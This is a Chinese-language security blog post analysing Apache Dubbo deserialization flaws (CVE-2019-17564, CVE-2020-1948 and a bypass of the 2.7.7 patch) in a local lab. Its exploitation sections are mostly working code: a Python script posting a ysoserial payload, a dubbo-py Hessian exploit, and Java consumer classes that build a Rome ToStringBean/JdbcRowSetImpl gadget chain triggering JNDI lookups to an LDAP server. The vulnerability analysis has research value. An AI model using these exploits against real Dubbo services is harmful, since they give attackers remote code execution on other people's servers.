前言
最近看到的 Dubbo 反序列化漏洞,以前没有见过这个框架,现在顺便总结一下最近的几个反序列化洞。
Dubbo
Dubbo 是一个分布式服务框架远程调用框架,类似 Java 的 RMI 远程方法调用,需要进行跨 JVM 的远程网络通信,所以就要用到序列化和反序列化。而 Dubbo 中有多种序列化方式,有的序列化方式在反序列化收到的数据的时候,就容易受到反序列化攻击。
CVE-2019-17564
环境搭建
在 GitHub 上面拖一个 demo,然后 IDEA 打开使用 HTTP 协议的 dubbo-samples-http 文件夹,修改一下 pom.xml 里面的 Dubbo 版本,再加入一个可以利用的 Gadget:
<dubbo.version>2.7.3</dubbo.version>
...
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
再修改一下 http-provider.xml 里面的 zookeeper 地址,这里我将 zookeeper 开在虚拟机的 docker 里面,所以这里是虚拟机地址:
<dubbo:registry address="zookeeper://${zookeeper.address:192.168.111.128}:2181"/>
然后在虚拟机开一个 zookeeper 容器:
docker pull zookeeper
docker run -id --name zookeeper -p 2181:2181 zookeeper
然后 Dubbo 的 HttpProvider 就可以开起来了。
漏洞原理
根据漏洞描述:
Unsafe deserialization occurs within a Dubbo application which has HTTPremoting enabled. An attacker may submit a POST request with a Java object init to completely compromise a Provider instance of Apache Dubbo, if thisinstance enables HTTP.
简单发一个 POST 请求,可以看到错误的调用栈:
java.io.StreamCorruptedException: invalid stream header: 64617461
java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:899)
java.io.ObjectInputStream.<init>(ObjectInputStream.java:357)
org.springframework.core.ConfigurableObjectInputStream.<init>(ConfigurableObjectInputStream.java:63)
org.springframework.remoting.rmi.CodebaseAwareObjectInputStream.<init>(CodebaseAwareObjectInputStream.java:97)
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.createObjectInputStream(RemoteInvocationSerializingExporter.java:125)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:119)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
因为输入的不是 Java 序列化字节码,所以会因为无法反序列化而报错,追踪调用栈,我们定位到 HttpInvokerServiceExporter 类的 readRemoteInvocation 方法:
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
try {
return doReadRemoteInvocation(ois);
}
finally {
ois.close();
}
}
可以看到从输入中创建一个 ObjectInputStream 对象,然后在 doReadRemoteInvocation 方法中:
protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {
Object obj = ois.readObject();
if (!(obj instanceof RemoteInvocation)) {
throw new RemoteException("Deserialized object needs to be assignable to type [" +
RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
}
return (RemoteInvocation) obj;
}
进行了反序列化。
漏洞利用
很简单,POST 一个 ysoserial 生成的 payload 就好了:
# -*- coding:utf8 -*-
import requests
import base64
url = " http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService"
data = base64.b64decode("rO...Hg=")
requests.post(url, data=data)
CVE-2020-1948
环境搭建
在 GItHub 上面拖一个 Dubbo 2.7.6 版本的 demo,然后用 IDEA 打开 dubbo-spring-boot-samples 文件夹,运行 DubboAutoConfigurationProviderBootstrap 类,就可以把环境开起来了。
然后给这个项目里的 pom.xml,即 dubbo-spring-boot-samples\auto-configure-samples\provider-sample\pom.xml 加上 rome 依赖:
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
漏洞原理
这个漏洞有两个触发点,第一个没什么好说的,就是普通的 Hessian 反序列化攻击(就是 Dubbo 默认使用的序列化方式),Dubbo 会反序列化传输来的方法参数:
args = new Object[pts.length];
for (int i = 0; i < args.length; i++) {
try {
args[i] = in.readObject(pts[i]);
} catch (Exception e) {
if (log.isWarnEnabled()) {
log.warn("Decode argument failed: " + e.getMessage(), e);
}
}
}
另一个触发点比较有意思,利用的是打印错误信息触发的 toString,Dubbo 在找不到注册的 service 就会打印错误信息:
DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
}
这里的 inv 就是 DecodeableRpcInvocation 类型的对象,里面存放了远程方法调用需要的数据,比如反序列化后的 arguments,这里会隐式调用它的 toString 方法,也就是它的父类 RpcInvocation 的 toString 方法:
@Override
public String toString() {
return "RpcInvocation [methodName=" + methodName + ", parameterTypes="
+ Arrays.toString(parameterTypes) + ", arguments=" + Arrays.toString(arguments)
+ ", attachments=" + attachments + "]";
}
也就是说会调用 arguments 对象的 toString,就可以作为反序列化链的入口,比如接上 Rome 依赖中的 toStringBean 触发 JNDI 注入。
顺带一提的是,在高一点版本的 Dubbo(2.7.6)中,这个入口点已经被修复了,打印错误的代码变成了:
DubboExporter<?> exporter = (DubboExporter<?>) exporterMap.get(serviceKey);
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " + ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + getInvocationWithoutData(inv));
}
没有直接调用 inv 的 toString 方法,而是调用 getInvocationWithoutData 方法来获取数据:
private Invocation getInvocationWithoutData(Invocation invocation) {
if (logger.isDebugEnabled()) {
return invocation;
}
if (invocation instanceof RpcInvocation) {
RpcInvocation rpcInvocation = (RpcInvocation) invocation;
rpcInvocation.setArguments(null);
return rpcInvocation;
}
return invocation;
}
把 arguments 置空了,这个入口点也就无法使用了,除非配置了 debug 模式。
漏洞利用
第二种利用方式可以直接使用 python 的 dubbo-py 库,参考 ruilin 师傅给出的 exp:
# -*- coding:utf8 -*-
from dubbo.codec.hessian2 import new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 12345)
JdbcRowSetImpl = new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:1389/Exploit",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass = new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean = new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='cn.rui0',
method_name='rce',
service_version="1.0.0",
args=[toStringBean]
)
第一种的利用就比较麻烦了,因为 Rome 的 HashMap 类型要用 dubbo-py 来构造比较复杂,利用方式跟 Java RMI 客户端攻击服务端相似,不过不需要在意服务函数的参数类型,因为它的函数调用是在反序列化完成之后进行的。
所以利用的时候可以像参考文章里面那样,通过 wireshark 抓包改包来完成,也可以自己改一改它的接口(将方法参数类型改为 Object)和消费者类:
@EnableAutoConfiguration
public class DubboAutoConfigurationConsumerBootstrap {
private final Logger logger = LoggerFactory.getLogger(getClass());
@Reference(version = "1.0.0", url = "dubbo://127.0.0.1:12345")
private DemoService demoService;
private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
private Object getPoc() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>(1);
hashMap.put("replacement", "Twings");
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode = hashMapTable[1];
setFieldValue(hashMapNode, "key", equalsBean);
return hashMap;
}
public static void main(String[] args) {
SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
}
@Bean
public ApplicationRunner runner() throws Exception {
String result = demoService.sayHello(getPoc());
System.out.println(result);
return args -> logger.info(result);
}
}
一发入魂。
2.7.7 反序列化漏洞绕过
2.7.7 在反序列化参数的时候加多了一个验证:
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) {
throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
}
pts = ReflectUtils.desc2classArray(desc);
}
这里的 pts 是一个参数类型匹配的机制,用来检测传输的参数类型跟本地配置的是否一致,如果不一致则会检测调用方法名,如果要调用的方法不是 $invoke、$invokeAsync 或者 $echo 就会直接报错退出。
其实这个验证压根不影响反序列化漏洞的利用,因为反序列化在函数函数调用之前就已经进行了,所以我们可以通过控制方法名来进行反序列化攻击,修改接口中的方法名为 $echo($invoke 会有消费者这边的问题),然后修改消费者类:
@EnableAutoConfiguration
public class DubboAutoConfigurationConsumerBootstrap {
private final Logger logger = LoggerFactory.getLogger(getClass());
@DubboReference(
version = "1.0.0",
url = "dubbo://127.0.0.1:12345",
timeout = 100
)
private DemoService demoService;
private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
private Object getPoc() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap<>(1);
hashMap.put("replacement", "Twings");
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode = hashMapTable[1];
setFieldValue(hashMapNode, "key", equalsBean);
return hashMap;
}
public static void main(String[] args) {
SpringApplication.run(DubboAutoConfigurationConsumerBootstrap.class).close();
}
@Bean
public ApplicationRunner runner() throws Exception {
return args -> logger.info(demoService.$echo(getPoc()));
}
}
同样一发入魂。
参考文章:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!